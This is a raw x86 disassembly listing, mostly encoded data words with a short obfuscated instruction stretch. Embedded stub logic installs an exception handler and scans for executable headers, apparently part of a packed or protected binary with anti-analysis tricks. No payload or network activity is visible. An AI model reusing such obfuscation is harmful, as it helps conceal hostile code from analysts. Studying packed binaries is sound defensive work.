		dd 0D92A41A9h, 2BF620C8h, 0C169C281h, 0AE85870h, 80000000h
		dd 16D6C6B0h, 96C2F928h, 58C28B42h, 600F1489h, 6E960h
		dd 1E9A0000h, 40D8C399h, 8F0Fh,	0F610000h, 384h, 0CE8B6600h
		dd 94FBB861h, 0E98143FAh, 2475E99h, 1820Fh, 81F90000h
		dd 475E95C1h, 705EBB02h, 0F981374Fh, 0FFFF8E58h, 0FF75850Fh
		dd 0F381FFFFh, 933CB2Ah, 0E1000BAh, 0EA81F0h, 83F00000h
		dd 958914C2h, 6122251h,	8D14EA83h, 173ED585h, 0FF645006h
		dd 35h,	25896400h, 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 6122555h,	0F3C4003h
		dd 890650B7h, 12094195h, 50508B06h, 15959589h, 0F8050612h
		dd 8B000000h, 0D1030C50h, 16099589h, 50030612h,	0F5958908h
		dd 64061221h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	85BD83C3h, 61202h, 24840Fh
		dd 85C60000h, 6120259h,	0A7D26847h, 0B5FFD49Ah,	6122E69h
		dd 81A4858Dh, 0D0FF0615h, 0D0FF006Ah, 34858589h, 0D38B0612h
		dd 5E9h, 29078B00h, 63E90004h, 47000005h, 9BF613C1h, 0AA05E288h
		dd 0F857B05Ch, 0A658226h, 8DB051FDh, 0D98582B9h, 0A94FD138h
		dd 7A1CE148h, 4BF3329Dh, 0D03875AEh, 0EDBD21h, 0BF7EE3BFh
		dd 0AA8D1A21h, 0A61F7380h, 0A47C3ACBh, 76F570FCh, 0D684830Ah
		dd 0A74FD639h, 4746A2D9h, 5B24FFCFh, 0EC3554D1h, 0C8053642h
		dd 0FA6631A0h, 0C1408F06h, 930E6B19h, 6AC7712h,	0B49E2B7Ah
		dd 0C42C69A6h, 6FA6615h, 9958C8B3h, 3706FA66h, 939BD444h
		dd 8394E65Bh, 0F49E6702h, 9D47D847h, 0FA5E8A4Bh, 0DA592406h
		dd 0D4298059h, 0A77AD532h, 42A9C01Ah, 57D28437h, 1AAA8AE6h
		dd 0F7E34844h, 0C24D0E7Eh, 49189D41h, 446311B7h, 0CF292703h
		dd 91FAF73Ah, 0D8B72CD1h, 0F818A545h, 949A22D8h, 59B2337Ch
		dd 0F9872FF6h, 0A84AD742h, 0BC24A1DCh, 6FA0738h, 348CE629h
		dd 0D0F70EB4h, 72D5h, 84AA600h,	0C9AFAAC3h, 0C9B75FA6h
		dd 0DDB431ACh, 0FC06946Dh, 0ECAFDD58h, 0F11A37Dh, 0E35E1B69h
		dd 82F9FE62h, 976906FAh, 0FC0A83F1h, 3B6C2450h,	0A852D34Fh
		dd 0CE22A1DCh, 2F99F159h, 40D0F78Bh, 8,	2CD42C3Bh, 0C9A02540h
		dd 80EC926Dh, 1A6EF609h, 6FA82DBh, 13960675h, 0DBDFB3DDh
		dd 0EA63118Ch, 0B9087418h, 1DE62208h, 0F0319879h, 6D4EA946h
		dd 0D9CE896h, 60204CF2h, 20D4B27h, 0C472B101h, 0C53EBDB8h
		dd 50B15DAAh, 929228F9h, 823DBCD4h, 0A09B06FAh,	9F1A5725h
		dd 514EAAD1h, 8C25F1E7h, 412FD72Eh, 5D2CA924h, 186D1BC5h
		dd 35A7FB57h, 7AD0F71Ah, 67h, 0EE02BF1Fh, 6FA82EFh, 1671F249h
		dd 9BD86511h, 0FA828475h, 6DB72206h, 0A1CB48C7h, 422EDA28h
		dd 2CDCB6F3h, 76922BD7h, 512354A3h, 946FFE81h, 359475EEh
		dd 9DFB40EEh, 0CA12D362h, 80EC6937h, 2553F509h,	5F331F40h
		dd 0D0F7C97Dh, 4D32h, 966DD700h, 2755FD04h, 28A1CF4Ah
		dd 54735D5h, 3BC83812h,	6D17728Fh, 5BFF0092h, 0A7D5502Dh
		dd 0FA821BDFh, 23798906h, 35303CDEh, 0BF43CAB6h, 2256F1Dh
		dd 0BBF01428h, 82EBEA7Eh, 0F64506FAh, 0A5E347Dh, 0D0F78B9Ah
		dd 1F7h, 956D9200h, 5CBBA2F6h, 5EFDEB35h, 76DAE602h, 0E18F0A89h
		dd 0AC56AFBAh, 4120A5C0h, 68A516C0h, 4D90A508h,	0B9DBA00h
		dd 6FAC3CAh, 0D09C1964h, 74B49ED7h, 5FB902AEh, 0D16920C7h
		dd 0F1CC731Ch, 6D56F769h, 349972F3h, 0B8F546AAh, 0C2AE58A9h
		dd 4D7535A7h, 0D77D2A0Fh, 5F2ACA5Eh, 75E40CE8h,	7216E8AAh
		dd 5A217EF7h, 6AE76E1h,	976EFF8Dh, 66BF12EFh, 37A0B0BCh
		dd 0A300E86Eh, 5DCCB862h, 526D1BC5h, 0B11D3119h, 52AEAC86h
		dd 2A26659Ch, 0D5CD9D2h, 4B1B57F4h, 0E24B45D5h,	7799D667h
		dd 0E81086h, 7D85D20h, 0C3B159A8h, 0AA13BB4Ah, 10DA1B6Dh
		dd 7C9400E8h, 0E8107Dh,	403B60DBh, 0AE99B9C3h, 15BD44C4h
		dd 19B33DF4h, 33DCD6E5h, 45000001h, 50ED4F6Fh, 0E8A7A438h
		dd 0FD8BF20Ch, 0CED956Ch, 2FA764BDh, 0D53FC1F3h, 8A0371ECh
		dd 0AEE7CE7Bh, 0C589188Fh, 9D6AF546h, 480874F1h, 0FA6573DFh
		dd 0AC1F812Dh, 0E94C5458h, 16EF7AFBh, 9E66E671h, 0A4A1BF21h
		dd 4D834CB5h, 0DB34B32Eh, 0E5DDECDCh, 68BDD6h, 6F240000h
		dd 59F90452h, 6E0F61DAh, 0A834BDD3h, 49F4A948h,	29AEFFDh
		dd 97A4831Ah, 0E4B1322Dh, 0D4C42499h, 0DA889F88h, 0F7345842h
		dd 104D0E7Eh, 0FAF9F9F8h, 6FE45786h, 0FAF9F8F9h, 0F49C6486h
		dd 57010188h, 543E6929h, 24A34FD4h, 4FBD959Eh, 5DB30872h
		dd 0B4BDA83Ch, 4C49EFAh, 0EDB54E6Eh, 0B7502B68h, 75E7h
		dd 4F6F6200h, 0A83850EDh, 60CE876h, 2D62952Ah, 9F1A637Dh
		dd 1A978D1h, 0CE7889E0h, 0A888D2A2h, 0C07300E8h, 0BF67BE6Ah
		dd 8FF1CD22h, 0D6E0232Eh, 9EDBA94Dh, 0F315A223h, 0AF7BFE6h
		dd 1E8FFD40h, 0B8115F07h, 5AB3C169h, 8E36CECAh,	7C0887E2h
		dd 0C7157D36h, 0D3E930A1h, 30AF8E0Ah, 86D4BEF7h, 0E9B62749h
		dd 2D100AD3h, 0A103DBA8h, 0FFE1F41Ch, 0F44700CCh, 0D0BFBC1Bh
		dd 9CD9A753h, 0FC744A27h, 0B2234527h, 0C06FA82h, 8637B231h
		dd 0E5949762h, 0FE8AF10Ch, 585323BDh, 312F841Dh, 0A24CD5B4h
		dd 4EF60E19h, 4CD534D5h, 6E8ED6A2h, 420EEB05h, 44DD4D25h
		dd 13127D9Ah, 0BB47D26Bh, 950E6B19h, 0F89C66E7h, 107AB38Ch
		dd 0D4691110h, 6513BD45h, 1F728B08h, 6B105C06h,	34048C0Dh
		dd 53D0A235h, 38Bh, 0F9984E00h,	9BE9976Dh, 3D4BF332h, 0C3B151ACh
		dd 6612BA4Ah, 67220E7h,	0A6D28087h, 4B39DB27h, 0EC9844C2h
		dd 70FCA27Dh, 0E689562Dh, 6270B850h, 9435498Bh,	406E4266h
		dd 0D0F7D8F7h, 36FB2005h, 58C601D8h, 8704EE83h
		db 34h,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	6173F2Ah
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	574Ah
		mov	[esp], eax
		sub	dword ptr [esp], 633B6D76h
		pop	dword ptr [ebx+8]
		add	dword ptr [ebx+8], 633B6D76h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		dd 0CB8E350h, 3061744h,	3EE0FFC5h, 0B73AD1C8h, 0BA481784h
		dd 57281244h, 0FD71DD70h, 217B2723h, 0C11FC831h, 329E93Dh
		dd 3A0A49DFh, 5D3BD658h, 6869A1FAh, 6174DA58h, 0AF7FD010h
		dd 0F81E7A13h, 9B238F1Eh, 0BE4798BAh, 2A67CD94h, 4010C699h
		dd 0F41FF437h, 783FC70Dh, 340EF2EDh, 0EE6F1C95h, 8D47BBBBh
		dd 1745DA8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0F6DA48FCh, 222D958Bh, 8D890612h
		dd 6122791h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0F5C35141h, 958BDF62h, 6122E51h, 30EDD281h, 85C71062h
		dd 6123439h, 60E0h, 27A5BD8Bh, 85C70612h, 6122E5Dh, 0
		dd 31059D09h, 0BD330612h, 6120B25h, 1A9DB5FFh, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0CC798DC3h, 47699FE2h, 0C995FF68h, 6A06120Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 48DAC350h, 0D8B71C58h, 0E9B026C4h, 9, 0AC1632B1h, 6C9B5602h
		dd 0FFB70FAEh, 95FF006Ah, 6122475h, 5EEBC08Bh, 0E7F1D87Ah
		dd 0F9234222h, 0ABB545BBh, 8C9F1F3Fh, 9AEC221h,	0CC2AD2FBh
		dd 4EABFEE5h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 5CF6ABC6h
		dd 9939BBDDh, 3B06E5E4h, 0FE770A5Bh, 86C1DA45h,	79E43D0Dh
		dd 8D9D6915h, 0C3D42D73h, 16363A5h, 85200DBBh, 0A520ED15h
		dd 44347EE2h, 0B0C1DC10h, 8D8D5291h, 61746DFh, 8458D29h
		dd 8D890612h, 6122791h,	0D9B3BB60h, 870F7DC9h, 6, 850Fh
		dd 0C7610000h, 12343985h, 5E9406h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F505D3CAh
		dd 85C7E953h, 6122E5Dh,	0
		dd 11E9h, 0F79F5000h, 4CCCE34Ah, 0E2279755h, 0FDD3E278h
		dd 0B5FF89C5h, 6122105h, 0AC995FFh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 286FF9C3h
		dd 0FF006A68h, 12247595h, 0EBC08B06h, 62DC1B79h, 0AEBA7C40h
		dd 0E0997DF1h, 0F59ABE0Bh, 21023972h, 8C20FED8h, 0F2C36B70h
		dd 97CAD5F6h, 0DD6A8C32h, 4285A7E9h, 4120E95Ch,	0CD99C0C3h
		dd 42A979D0h, 0A293D198h, 449B2E05h, 52E7A109h,	658F98B0h
		dd 48C6EAAEh, 31DCE0F4h, 0D33F409h, 0A9BCFD88h,	0A8F470AFh
		dd 5B822D09h, 9C066C93h, 0B7AF6654h, 0BB61BC75h, 4B8A1EADh
		dd 0EE8AD301h, 0CD346D98h, 50B7243Dh, 8D8D82D0h, 61748ADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DAC35646h
		dd 0B58B9A1Ah, 6121AC5h, 27918D89h, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F537AC3h
		dd 284h, 5B5E5000h, 343985C7h, 5B9C0612h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0C7652EC3h, 0DDC29642h, 1A8C0FF1h, 0E8000000h, 0Eh
		dd 9D5F2549h, 0E568F153h, 3EBC7C42h, 0BD03E9F6h, 6120551h
		dd 0EE85Fh, 0CAE70000h,	0D565C01h, 0F30B638Dh, 0EE8929A1h
		dd 85C75FF8h, 6122E5Dh,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E8C35343h
		dd 0A7B25229h, 0CB1E7C84h, 3265BD89h, 0B5FF0612h, 61232D1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 37C35747h
		dd 394D3B40h, 732C8EBh,	13E902h, 2BE80000h, 0BA805F72h
		dd 0CFBB5B6Ah, 386A9907h, 52A4A9C3h, 61BD313Fh,	0FF061231h
		dd 120AC995h, 85895206h, 6121C05h, 0CDB53158h, 6A06120Fh
		dd 7595FF00h, 8B061224h, 0D14BEBC0h, 817A1EDDh,	5974B0BEh
		dd 3488FE70h, 0C55664FEh, 0D998094h, 0B1BAC186h, 17AE88C8h
		dd 0A5AC8F69h, 0CD9FE6F6h, 28705306h, 32749303h, 47711A1Bh
		dd 0D36481A0h, 0BA35AC7Fh, 0B823F3CDh, 6692CD4h, 0A20792B7h
		dd 9C8AA9F1h, 5E867B8h,	0ED000000h, 42AC56BDh, 170D858Bh
		dd 8B5A0612h, 1220C5B5h, 47C28106h, 8B000073h, 123435BDh
		dd 66DB2B06h, 8B3582BEh, 0B58B1A0Ch, 6122625h, 0CA4EC181h
		dd 5E836A5h, 33000000h,	5C448089h, 86AFF681h, 81585B71h
		dd 153053F1h, 78F1816Ch, 0F341D2Ah, 687h, 1958900h, 89061213h
		dd 860F1A0Ch, 6, 2131858Bh, 8B660612h, 0F1EB81C3h, 814A8227h
		dd 8227EDC3h, 11B58B4Ah, 8106121Ah, 0FF8D6CFBh,	16850FFFh
		dd 89000000h, 1205D995h, 20E906h, 0C2D40000h, 0CC8A7923h
		dd 0FE0F62C5h, 5E9ADh, 0A70D0000h, 0E9CD3F69h, 0FFFFFF73h
		dd 477A0C94h, 0DE87BE3h, 23000000h, 0BD0E609Fh,	667F4DF9h
		dd 0C19CE950h, 0FE8936B8h, 95895F4Bh, 6122E09h,	63DFC781h
		dd 890F0000h, 6, 348DB529h, 0D7BA0612h,	8B000018h, 891F8BF3h
		dd 1215F9BDh, 85F38106h, 666D5E25h, 0F381C68Bh,	44B53890h
		dd 358D8D29h, 0C3810612h, 18B0EF06h, 53AEC580h,	0A37342B8h
		dd 8B078F53h, 121B09B5h, 3EF8306h, 0F6B70F53h, 8D894F59h
		dd 612245Dh, 1EA81h, 850F0000h,	0FFFFFFB1h, 2FB18D03h
		dd 54200612h, 324AD9BDh, 3213E962h, 69280131h, 6E8D5AF2h
		dd 76830515h, 32140515h, 61C30131h, 0B96DD1F2h,	203BACACh
		dd 3D14A937h, 320A9CB5h, 60046B31h, 320202D9h, 0F15B2131h
		dd 16D4886Bh, 16048035h, 32201835h, 0F1424331h,	0EE1E63D3h
		dd 0AF051D1Eh, 34100A04h, 3D84BCB2h, 3D800723h,	324011B5h
		dd 1846BA31h, 6DF92F35h, 0B3080133h, 97F983DAh,	0DA629135h
		dd 32010134h, 9678D3A0h, 0C1CB6742h, 3229E969h,	0FEE50131h
		dd 6A8B81EFh, 8A9BA060h, 15142D1h, 0DB51606Ah, 32800138h
		dd 7FD33DFh, 188DCEF0h,	327A91ACh, 320BE961h, 6A240131h
		dd 768B59F2h, 76800515h, 32980515h, 62000131h, 2B4BF7F2h
		dd 0A79BAA55h, 341A3188h, 1648003Eh, 62026BCFh,	320102D9h
		dd 0F1D82131h, 16048869h, 16648035h, 32101835h,	0F1584131h
		dd 4852E2C5h, 0AF0918B8h, 34131C24h, 47153069h,	0B146132Bh
		dd 324A2DF1h, 3213E961h, 6A280131h, 768D59F2h, 76830515h
		dd 321A0515h, 62C00131h, 82B419F2h, 0F507231Bh,	58188A05h
		dd 31E05331h, 12040131h, 0BB58C26Bh, 0B3052565h, 2E842575h
		dd 70400131h, 2AC5C263h, 0ADD79949h, 54F7D2D5h,	0B9F849BAh
		dd 0B8367E8h, 0B60EFE07h, 328001E5h, 0DA16015Bh, 32200132h
		dd 6CD35F11h, 362C75B8h, 362045B0h, 3202012Ch, 51C25777h
		dd 43FEF4Ah, 0ED488933h, 35AA0E25h, 63100131h, 0F5C28057h
		dd 0F3875A27h, 53973238h, 0B2071335h, 0B78FE808h, 3240001Bh
		dd 0DA75015Bh, 32100132h, 6FCB5C11h, 36206DB8h,	362645B0h
		dd 32010126h, 26435474h, 0B9D90C9Bh, 22C80070h,	89100131h
		dd 80A63C8Eh, 3469A39Ah, 0F1F233C2h, 5254D890h,	0DA798A57h
		dd 32400137h, 72479750h, 534E5F3Ah, 58C0026Eh, 31EC5131h
		dd 12020131h, 0BB59C269h, 0B3842575h, 2A442575h, 72200131h
		dd 5D4AC261h, 604AE072h, 25994B8h, 855D0723h, 37C08200h
		dd 3280893Eh, 0BC10131h, 0B9634AA1h, 32B0843Eh,	0AF830131h
		dd 341609BCh, 62678CBCh, 326B0723h, 3283E967h, 6C600131h
		dd 46A95FF2h, 76910515h, 32140515h, 64420131h, 130BDF2h
		dd 10DFA42h, 0AF0B2014h, 34522AD4h, 32200289h, 60106B31h
		dd 320802D9h, 0F15E2131h, 1656886Bh, 16458035h,	32801C35h
		dd 0F1124331h, 0BF440AA7h, 58DE9065h, 0A70BD3A6h, 34163360h
		dd 3268E0CEh, 3202E967h, 6CA00131h, 46C95FF2h, 76A10515h
		dd 32060515h, 644E0131h, 2FB6E1F2h, 320213D8h, 7A0C7231h
		dd 2CBF2574h, 56F19F15h, 0A15734F2h, 54F0E139h,	5869F6BAh
		dd 31EC5131h, 12020131h, 0BB59C269h, 0B3842575h, 2E442575h
		dd 72200131h, 0C61AC261h, 0C33B390Bh, 0BF5C3879h, 2548448Ch
		dd 608C8C37h, 8A86167Ch, 33D28245h, 24398402h, 0FD3B0723h
		dd 5420E8F0h, 324AD9BDh, 3213E962h, 69280131h, 6E8D5AF2h
		dd 76830515h, 83140515h, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 876CA2C3h
		dd 0D2C80BDAh, 8D89D709h, 6121285h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 98C35545h, 0EE9D268h, 893C10E4h
		dd 12055985h, 0E8C38B06h, 10h, 3CC4BEADh, 5EEE1F7h, 50911EE2h
		dd 5E9A11AAh, 0F55F2FB3h, 5AC4C781h, 8B660000h,	68D8h
		dd 0FE90000h, 4F000000h, 60F2FD2Eh, 0B974501Bh,	0F3A15D9Dh
		dd 0F5ECAD7h, 585h, 9CDFB800h, 148B39B4h, 11E837h, 0A11D0000h
		dd 765EA833h, 7832EB3Bh, 0C74F99D2h, 29529DACh,	1229E9B5h
		dd 0C2815906h, 24E4D865h, 70967BB9h, 0EDF2810Dh, 81018CA5h
		dd 0C73F57F3h, 70F28129h, 0E9764090h, 0Ch, 92921D5h, 0F1E5E19Ch
		dd 0A806C06Ah, 66371489h, 0DE9CF8Bh, 3E000000h,	0F566CA3Ah
		dd 144EE076h, 0B2C684A1h, 0B804EE83h, 636CC13h,	0A608FE81h
		dd 850FFFFFh, 0FFFFFF86h, 0FE9h, 366CE300h, 0E5AF4421h
		dd 0C70BA7BFh, 1F80EA18h, 8E9h,	8DB4B600h, 71h,	52AE900h
		dd 44C00000h, 0B147B94h, 0DF278A67h, 0A975D435h, 8087EA07h
		dd 3C0E35D2h, 0BD5A081Fh, 0CD2AD252h, 0E2FF9F62h, 33CC768Fh
		dd 0A253B5EAh, 3C00EDCCh, 0D0BFFB1Eh, 432EA753h, 2F6C18C2h
		dd 0BB38E020h, 4EAB57ACh, 0D4DC2631h, 9CD9A74Bh, 3CC5A421h
		dd 7400A47Eh, 0FCAD42E4h, 0B433DC84h, 43C24B39h, 6FC6229Bh
		dd 0FA6507F8h, 92FB8102h, 369FED91h, 986999F1h,	63BE11EEh
		dd 36CB26C3h, 9F61E894h, 7BAC8BF9h, 6C0E130Fh, 9E63EE93h
		dd 19E887FCh, 3DB8394Fh, 271606FAh, 629FDCA8h, 0FA3DCF0Eh
		dd 24C65B06h, 198F0477h, 6FA3DDDh, 99F159CEh, 0D0F7342Fh
		dd 8240h, 0D0BFE100h, 5C2BA850h, 0B1A01DC5h, 2349CA6Ch
		dd 0FA82A453h, 4CF40C06h, 0AE58A920h, 0AD8582C2h, 0A0C07B91h
		dd 0B50D2175h, 0A0E162CAh, 5AF6F6CAh, 89BD0F7h,	0E4000000h
		dd 7705AB75h, 6DE679FAh, 0C04FEC92h, 30F69941h,	3E7D0F84h
		dd 826E6F81h, 75C806FAh, 0E88E91F0h, 0B7D91653h, 6FA8246h
		dd 0CA0B9DE0h, 6406FA82h, 79D09C19h, 6C16EFA5h,	0F53283F1h
		dd 4ED0BF9Dh, 0C55E29AAh, 9869C021h, 6DB611EEh,	0D9CE896h
		dd 60204CF2h, 48DF4B27h, 13127D9Ah, 0ABD97B87h,	0ADEA53CEh
		dd 0FA829A5Bh, 0CC493406h, 966CFBA0h, 62E39EEAh, 2755FF07h
		dd 0A87EE942h, 9AF570FCh, 0DC99E787h
		dd 6C442E67h, 0D0F7896Ch, 0A13Dh, 0D0BFA400h, 432EA753h
		dd 0E36A16C4h, 0B0214723h, 0EE06FA82h, 0FA825B9Ah, 0D586F506h
		dd 82C13058h, 1C1F06FAh, 0E17D3FA1h, 22628507h,	0AF70D9A7h
		dd 16EC7D0Bh, 748F1E6Ah, 67C364CEh, 0F0C57h, 502D5BFFh
		dd 9AB892D3h, 0A3D1738Fh, 0E5224DC6h, 2FF0E107h, 0EF4E06FAh
		dd 0EB389770h, 46D8313Fh, 0EE93D6A2h, 24AC2C84h, 0E320D0F7h
		dd 0FA214C8Dh, 1293EA06h, 5978h, 966D1900h, 0F00D9CE8h
		dd 0A162ED4Eh, 1E6A0C11h, 0DD98E463h, 69B51458h, 0CD50B9C7h
		dd 1A0D5F2Dh, 858E1C30h, 0F8A67DADh, 0D0BFB81Fh, 0A0DDAB4Fh
		dd 17BB4423h, 82DD1969h, 59CE06FAh, 8B2F99F1h, 1340D0F7h
		dd 3B000000h, 766B6AFEh, 76C5F905h, 7632A3C5h, 0B18CF905h
		dd 956D5D34h, 73DE9DEBh, 0FD8C09B3h, 9F0E7A24h,	3A93E183h
		dd 0EE3745E9h, 0EE31F159h, 0DB0CCD48h, 0C973B36Fh, 721CE574h
		dd 2BB318F1h, 826091F7h, 93FE06FAh, 0DF9AE694h,	3058E560h
		dd 0CE89BE0h, 4DEF331Eh, 0C4B08BC8h, 0F512BC45h, 0A244D948h
		dd 17BF4621h, 93F53269h, 0E8A562h, 9C0481FCh, 0E8A55Bh
		dd 0F32F1B0Ch, 0F79B6432h, 0F1309F78h, 53D23B49h, 8285DDABh
		dd 1A978A8h, 0AA54ADBCh, 0C922A3DEh, 0E5ACDECEh, 153B3D6h
		dd 9D8C0000h, 659DA84h,	0F3F04F6Fh, 0C3458327h,	9484E7EFh
		dd 0DC854104h, 58B4DC61h, 7E0CE869h, 91871FFh, 9DFB8061h
		dd 0FCDA7F2Ah, 0FE12AB1Ah, 0E824FFh, 661E259h, 7BE657FFh
		dd 986504A6h, 76EF8AF6h, 0D47E8706h, 0D3BFE8A8h, 0E38B9A85h
		dd 0C5BD895h, 0F5AC4DF5h, 0D6E52DFBh, 4C94h, 526F3D00h
		dd 1C3D53E8h, 7A34BDD3h, 0ECED7503h, 7886FA82h,	0C972FEAAh
		dd 0FA8236A7h, 0C2AD9086h, 0ACEF9D41h, 0FA829544h, 0FA483386h
		dd 79CDE149h, 1BA664CEh, 57E60AB3h, 51B4BDD3h, 0B9DF0737h
		dd 0C2433B96h, 5949A695h, 0A9h,	0F04F6F38h, 0CA32E13h
		dd 912AA9DCh, 0E8D56F7Fh, 0EA38270Ch, 30D22F3Eh, 0E997E6B3h
		dd 18F9A160h, 872BF463h, 0A51C7CF9h, 80214DBBh,	0EB3A55CEh
		dd 0EA063543h, 7B1CDC62h, 8727FA4Eh, 7F058B08h,	8600E895h
		dd 0AC75B59Dh, 3688E502h, 53D3E73Eh, 239EDBA9h,	209D1855h
		dd 0F75C6DC8h, 0CB70CB0Ah, 5321C15Ch, 7EEF9D16h, 6C0E13A7h
		dd 0F70A83F1h, 5DA02957h, 0AA9DCFBDh, 7F7E92C0h, 0D90AD3E5h
		dd 152AE762h, 0E541B0D8h, 709F0AD3h, 98A09B1h, 0AA34F258h
		dd 0A9B8F546h, 1BC55D57h, 1095106Dh, 0CC232D88h, 0D7300B00h
		dd 0ED4F6F70h, 44DD3850h, 0C0BB0CE5h, 1CCC55B4h, 0EDCC05F4h
		dd 5DD8A300h, 2AD42DBCh, 0AC15365Eh, 2C453A77h,	0A34BDA46h
		dd 4979FE1Ah, 0B2AD0539h, 0B071D831h, 57AAB506h, 0DF4E3EB7h
		dd 0D4D3A143h, 0BA4BB793h, 8998F710h, 38593E1h,	4C000000h
		dd 976DF998h, 0F3329BE9h, 51AC3D4Bh, 0BA4AC3B1h, 20E76612h
		dd 80870672h, 0DB27A6D2h, 44C24B39h, 0A27DEC98h, 562D70FCh
		dd 0C681E689h, 4, 8704EE83h, 248B2434h,	1C6A6824h, 2C890000h
		dd 48D16824h, 14890000h, 86BB5324h, 55568B54h, 0C03875BDh
		dd 0E581457Dh, 4EDA3910h, 3237ED81h, 0EB29FC4Ch, 5BDD895Dh
		dd 24148B54h, 4C481h, 89500000h, 84289E8h, 8324048Bh, 34FF04C4h
		dd 0C4815A24h, 4, 51242C8Bh, 0C181E189h, 4, 8704C183h
		dd 0E95C240Ch, 0FFFB2CA8h, 0ECF10F7Bh, 79C878Eh, 45E1FC5Ch
		dd 175352B8h, 0FFC50306h, 1154C2E0h, 93132C78h,	0C0023F06h
		dd 0AA40D65Ah, 1C768D54h, 2EFE3E19h, 97665560h,	78A9B165h
		dd 43BD1125h, 0F37BB771h, 64C9377Ch, 0D2C2BC28h, 3EC62B6Bh
		dd 0E9EC3643h, 32FDE651h, 0F8745F5Bh, 422D413h,	2E40750Dh
		dd 4C3BB0Fh, 1CDB5106h,	0A1AE2225h, 0E0E3BC56h,	0C3896413h
		dd 0D2C92C14h, 0D7645942h, 0B51CB854h, 1A5B3A25h, 0D9238432h
		dd 0E3246130h, 0F2CF7308h, 0D73C168h, 0BEC11D37h, 258D8D6Bh
		dd 6A061755h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 49C7C356h, 0A5ACD2Bh, 8B570D50h
		dd 120E499Dh, 918D8906h, 6A061227h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F543C357h
		dd 4CD19BA1h, 0BD8B11A8h, 6122ECDh, 343985C7h, 6C240612h
		dd 81660000h, 0C715D6F0h, 122E5D85h, 6,	71BB6600h, 0EDB5FF0Bh
		dd 2906121Ah, 12201595h, 0C995FF06h, 6A06120Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 4564C351h, 666022D8h, 0B98E48BAh, 7EBB2441h,	70C08161h
		dd 6A0B2675h, 7595FF00h, 8B061224h, 656BEBC0h, 49155953h
		dd 4D535969h, 0ED9637C1h, 623DAB63h, 0E2DD4D17h, 6CF3E886h
		dd 0A7DBF766h, 6263EED7h, 3977ABCDh, 0DB0D0C1Dh, 0D8E2C7C5h
		dd 53F3FD09h, 0B5EE514Fh, 686FB986h, 8DFC2843h,	0CF63F17Ch
		dd 69592F1Fh, 49353549h, 0C8E326C9h, 0C79AA01Ah, 8C690231h
		dd 539C934Bh, 0E9724526h, 0F619BDEEh, 1CE73B22h, 86627234h
		dd 2ADE2068h, 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h
		dd 33A9A90Bh, 5AF19826h, 6AEF5E26h, 60338A24h, 0E4FFB44Eh
		dd 5AF867A5h, 0BEA08A08h, 26D23CA3h, 0BA796720h, 21E085A3h
		dd 0B6D71B20h, 33338A24h, 33831D29h, 0B6C09826h, 35B1CD83h
		dd 0A4D61576h, 63AF8F73h, 7C90DD9h, 64839E34h, 59359826h
		dd 941F1523h, 634B8F73h, 66311DABh, 0CC039E31h,	2186C1B3h
		dd 3C149320h, 336AA1A2h, 94B01526h, 639C8F73h, 334DAACEh
		dd 0BEF6D826h, 240635A3h, 0B624C820h, 35C3CD81h, 7AFF6776h
		dd 0B0338A2Fh, 0B61794E2h, 355ACD81h, 0A4231576h, 63558F73h
		dd 7B40DD9h, 513D9E34h,	666A9826h, 646474ADh, 4E11CE74h
		dd 0DA8DAB2Eh, 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h
		dd 3B1713EFh, 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh
		dd 88005AADh, 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h
		dd 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h
		dd 6C8EC6E7h, 37A8517Fh, 0A6881526h, 0BE9C8F73h, 241B52ABh
		dd 932020h, 0FC780000h,	310271E7h, 83C8D007h, 0F4904C7h
		dd 0FFFFF285h, 0CAB58DFFh, 8D061756h, 1756E98Dh, 83CF2B06h
		dd 0C88B05E9h, 0CC80318Ah, 156197FEh, 1508BFECh, 4B2B575Dh
		dd 6182096Dh, 518A5373h, 1510538Fh, 434D57D5h, 0AEA69129h
		dd 0E31FD29Ch, 0CC867E4Dh, 960D4552h, 7052613h,	1C7E5751h
